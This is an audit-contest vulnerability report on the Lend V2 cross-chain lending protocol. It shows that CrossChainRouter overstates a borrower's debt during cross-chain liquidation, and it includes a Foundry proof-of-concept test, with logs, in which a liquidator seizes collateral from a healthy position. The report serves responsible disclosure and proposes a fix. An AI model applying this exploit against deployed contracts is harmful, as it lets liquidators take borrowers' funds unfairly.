Ambitious Shamrock Moth

High

# Liquidator will be able liquidate borrowers with healthy positions

### Summary

Over estimation of debt during cross-chain liquidation will cause borrowers with otherwise sufficient collateral to be liquidatable as the liquidator can successfully liquidate the position, provided the lToken exchange rate and current collateral-to-debt level meet certain criteria listed below.

### Root Cause

When checking if a cross-chain liquidation is valid on `CrossChainRouter.sol:433`, the `payload.amount` (amount of LTokens to seize) is incorrectly added to the debt of the user:

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CrossChainRouter.sol#L431-L436

The current level of debt of the account should not be dependent on the amount to be seized. As a result of this issue, it may be possible to liquidate the user even when their position is sufficiently collateralized, as their debt is over-estimated.

### Internal Pre-conditions

1. The borrower needs to have a debt position with sufficient collateral.
2. The exchange rate of the  lToken (to seize) - on the chain where the debt is - must be sufficiently low. This will increase the required number of lTokens to seize i.e. the `payload.amount` received by `CrossChainRouter::_checkLiquidationValid`, to a point where the calculated `borrowed` amount exceeds `collateral`. The likelihood of this occurring is increased if the admin deploys the lToken (to seize) with a low `initialExchangeRate`. Based on the calculation logic on [Deploy.s.sol:126](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/script/Deploy.s.sol#L126), such a scenario appears likely for lower decimal tokens (e.g. USDC with 6 decimal places will result in `initialExchangeRate = 2 * 10 ** 14`).

### External Pre-conditions

N/A

### Attack Path

1. Borrower calls `CrossChainRouter::borrowCrossChain` on Chain A and successfully receives the borrowed token on Chain B.
2. Liquidator calls `CrossChainRouter::liquidateCrossChain` on Chain B, at a time when the borrower's collateral is sufficient for their debt.
3. Layer Zero endpoint calls `CrossChainRouter::receive` on Chain A: due to the issue described above the position is deemed unhealthy by the `CrossChainRouter` and the borrower's collateral is seized.

### Impact

The borrower suffers a loss of `liquidationIncentive * repayAmount` worth of collateral. The liquidator makes a profit proportional to the `repayAmount` and `liquidationIncentive`, minus protocol fees.

### PoC

Firstly, to make the issue easier to demonstrate, we need to modify the `initialExchangeRate` of the lToken by replacing [Deploy.s.sol:126](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/script/Deploy.s.sol#L126) with

```solidity
int256 initialExchangeRate = 1e18; // 1 to 1 rate to begin with
```

Add a new test file under the test folder with the below contents and run using: `forge test --match-contract HGranoTest --match-test test_debt_over_estimation -vvv`

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console2} from "forge-std/Test.sol";
import {Deploy} from "../script/Deploy.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../src/Lendtroller.sol";
import {InterestRateModel} from "../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../src/LTokenInterfaces.sol";
import {LToken} from "../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";
import {SendLibMock} from "@layerzerolabs/lz-evm-messagelib-v2/test/mocks/SendLibMock.sol";
import "@layerzerolabs/lz-evm-protocol-v2/test/utils/LayerZeroTest.sol";

contract HGranoTest is LayerZeroTest {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokensA;
    address[] public supportedTokensB;
    address[] public supportedTokensC;
    bool public isTestnet;
    address public deployer;

    // Chain A (Source)
    CrossChainRouterMock public routerA;
    LendStorage public lendStorageA;
    CoreRouter public coreRouterA;
    Lendtroller public lendtrollerA;
    InterestRateModel public interestRateModelA;
    SimplePriceOracle public priceOracleA;
    address[] public lTokensA;

    // Chain B (Destination)
    CrossChainRouterMock public routerB;
    LendStorage public lendStorageB;
    CoreRouter public coreRouterB;
    Lendtroller public lendtrollerB;
    InterestRateModel public interestRateModelB;
    SimplePriceOracle public priceOracleB;
    address[] public lTokensB;

    // I had to change these values to fix test failures as the mocks used chain ID as the Endpoint ID
    uint32 constant CHAIN_A_ID = 31337;
    uint32 constant CHAIN_B_ID = 31337;

    EndpointV2 public endpointA;
    EndpointV2 public endpointB;
    SimpleMessageLib public simpleMsgLibA;
    SimpleMessageLib public simpleMsgLibB;

    // Events to test
    event BorrowSuccess(address indexed borrower, address indexed lToken, uint256 accountBorrow);

    function setUp() public override(LayerZeroTest) {
        super.setUp();

        deployer = makeAddr("deployer");
        vm.deal(deployer, 1000 ether);

        // Deploy protocol on Chain A using the endpoint we just created
        Deploy deployA = new Deploy();
        (
            address priceOracleAddressA,
            address lendtrollerAddressA,
            address interestRateModelAddressA,
            address[] memory lTokenAddressesA,
            address payable routerAddressA,
            address payable coreRouterAddressA,
            address lendStorageAddressA,
            , //address _layerZeroEndpoint
            address[] memory _supportedTokensA
        ) = deployA.run(address(endpointA)); // Pass the endpoint address to Deploy.run

        // Store Chain A values
        routerA = CrossChainRouterMock(payable(routerAddressA));
        lendStorageA = LendStorage(lendStorageAddressA);
        coreRouterA = CoreRouter(coreRouterAddressA);
        lendtrollerA = Lendtroller(lendtrollerAddressA);
        interestRateModelA = InterestRateModel(interestRateModelAddressA);
        priceOracleA = SimplePriceOracle(priceOracleAddressA);
        lTokensA = lTokenAddressesA;
        supportedTokensA = _supportedTokensA;

        // Deploy protocol on Chain B
        Deploy deployB = new Deploy();
        (
            address priceOracleAddressB,
            address lendtrollerAddressB,
            address interestRateModelAddressB,
            address[] memory lTokenAddressesB,
            address payable routerAddressB,
            address payable coreRouterAddressB,
            address lendStorageAddressB,
            , // address _layerZeroEndpoint
            address[] memory _supportedTokensB
        ) = deployB.run(address(endpointB));

        // Store Chain B values
        routerB = CrossChainRouterMock(payable(routerAddressB));
        lendStorageB = LendStorage(lendStorageAddressB);
        coreRouterB = CoreRouter(coreRouterAddressB);
        lendtrollerB = Lendtroller(lendtrollerAddressB);
        interestRateModelB = InterestRateModel(interestRateModelAddressB);
        priceOracleB = SimplePriceOracle(priceOracleAddressB);
        lTokensB = lTokenAddressesB;
        supportedTokensB = _supportedTokensB;

        // Now set up cross-chain mappings as the owner
        vm.startPrank(routerA.owner());
        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            lendStorageA.addUnderlyingToDestUnderlying(supportedTokensA[i], supportedTokensB[i], CHAIN_B_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageA.addUnderlyingToDestlToken(supportedTokensA[i], lTokensB[i], CHAIN_B_ID);
            // Add mapping from lToken to destination lToken
            lendStorageA.setChainLTokenMap(lTokensA[i], CHAIN_B_ID, lTokensB[i]);
        }
        vm.stopPrank();

        vm.startPrank(routerB.owner());
        for (uint256 i = 0; i < supportedTokensB.length; i++) {
            lendStorageB.addUnderlyingToDestUnderlying(supportedTokensB[i], supportedTokensA[i], CHAIN_A_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageB.addUnderlyingToDestlToken(supportedTokensB[i], lTokensA[i], CHAIN_A_ID);
            // Add mapping from lToken to destination lToken
            lendStorageB.setChainLTokenMap(lTokensB[i], CHAIN_A_ID, lTokensA[i]);
        }
        vm.stopPrank();

        // Set up initial prices for supported tokens on both chains

        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            priceOracleA.setDirectPrice(supportedTokensA[i], 1e18);
        }

        for (uint256 i = 0; i < supportedTokensB.length; i++) {
            priceOracleB.setDirectPrice(supportedTokensB[i], 1e18);
        }

        vm.label(address(routerA), "Router A");
        vm.label(address(routerB), "Router B");
        // After deploying routers, set up their pair contracts
        routerA = CrossChainRouterMock(payable(routerAddressA));
        routerB = CrossChainRouterMock(payable(routerAddressB));

        // Set up pair relationships
        routerA.setPairContract(payable(address(routerB)));
        routerB.setPairContract(payable(address(routerA)));
    }

    // Helper function to supply tokens before testing borrowing
    function _supplyA(address user, uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[0];
        lToken = lendStorageA.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }

    function _supplyB(address user, uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        token = supportedTokensB[0];
        lToken = lendStorageB.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterB), amount);
        coreRouterB.supply(amount, token);
        vm.stopPrank();
    }

    function test_debt_over_estimation() public {
        address borrower = makeAddr("borrower");
        address liquidator = makeAddr("liquidator");
        address supplier = makeAddr("supplier");
        uint256 amountToSupply = 100_000e18;

        vm.deal(address(routerA), 1 ether);

        (address tokenA, address lTokenA) = _supplyA(borrower, amountToSupply);
        (address tokenB, address lTokenB) = _supplyB(supplier, amountToSupply * 2);

        emit log_named_decimal_uint("Borrower initial total investment on chain A", lendStorageA.totalInvestment(borrower, lTokenA), 18);

        // Calculate maximum allowed borrow (using actual collateral factor) --> scale down for precision loss
        uint256 borrowedAmount = (lendStorageA.getMaxBorrowAmount(borrower, lTokenA) * 0.9e18) / 1e18;

        emit log_named_decimal_uint("borrowedAmount", borrowedAmount, 18);

        vm.prank(borrower);

        // Execute borrow
        routerA.borrowCrossChain(borrowedAmount, tokenA, CHAIN_B_ID);

        (uint256 borrowed, uint256 collateral) = lendStorageA.getHypotheticalAccountLiquidityCollateral(borrower, LToken(address(0)), 0, 0);
        emit log_named_decimal_uint("Borrowed initial on chain A", borrowed, 18);
        emit log_named_decimal_uint("Collateral initial on chain A", collateral, 18);

        (borrowed, collateral) = lendStorageB.getHypotheticalAccountLiquidityCollateral(borrower, LToken(address(0)), 0, 0);
        emit log_named_decimal_uint("Borrowed initial on chain B", borrowed, 18);
        emit log_named_decimal_uint("Collateral initial on chain B", collateral, 18);

        emit log_named_decimal_uint("Liquidation incentive B", lendtrollerB.liquidationIncentiveMantissa(), 18);
        emit log_named_decimal_uint("Exchange rate stored lTokenB", LToken(lTokenB).exchangeRateStored(), 18);

        uint256 repayAmount = borrowedAmount / 2;

        // Liquidate
        vm.startPrank(liquidator);
        // Disable any action from Router B when it receives a message back from Router A, as due to a separate issue, this
        // call will fail
        vm.mockCall(address(routerB), abi.encodeWithSelector(CrossChainRouterMock._lzReceive.selector), "");
        deal(tokenB, liquidator, 100_000e18);
        IERC20(tokenB).approve(address(coreRouterB), type(uint256).max);
        routerB.liquidateCrossChain(
            borrower,
            repayAmount, // amount to repay
            31337,
            lTokenB, // collateral lToken (on Chain B)
            tokenB // borrowed asset (Chain B version)
        );
        emit log_named_decimal_uint("Borrower final total investment on chain A", lendStorageA.totalInvestment(borrower, lTokenA), 18);
    }
}
```

The logs below show that part of the borrower's collateral has been seized.

```log
Logs:
  Borrower initial total investment on chain A: 100000.000000000000000000
  borrowedAmount: 67500.000000000000000000
  Borrowed initial on chain A: 67500.000000000000000000
  Collateral initial on chain A: 75000.000000000000000000
  Borrowed initial on chain B: 67500.000000000000000000
  Collateral initial on chain B: 0.000000000000000000
  Liquidation incentive B: 1.080000000000000000
  Exchange rate stored lTokenB: 1.000000000000000000
  Borrower final total investment on chain A: 63550.000000000000000000
```

### Mitigation

Replace usage of `payload.amount` with `0` on CrossChainRouter.sol:433.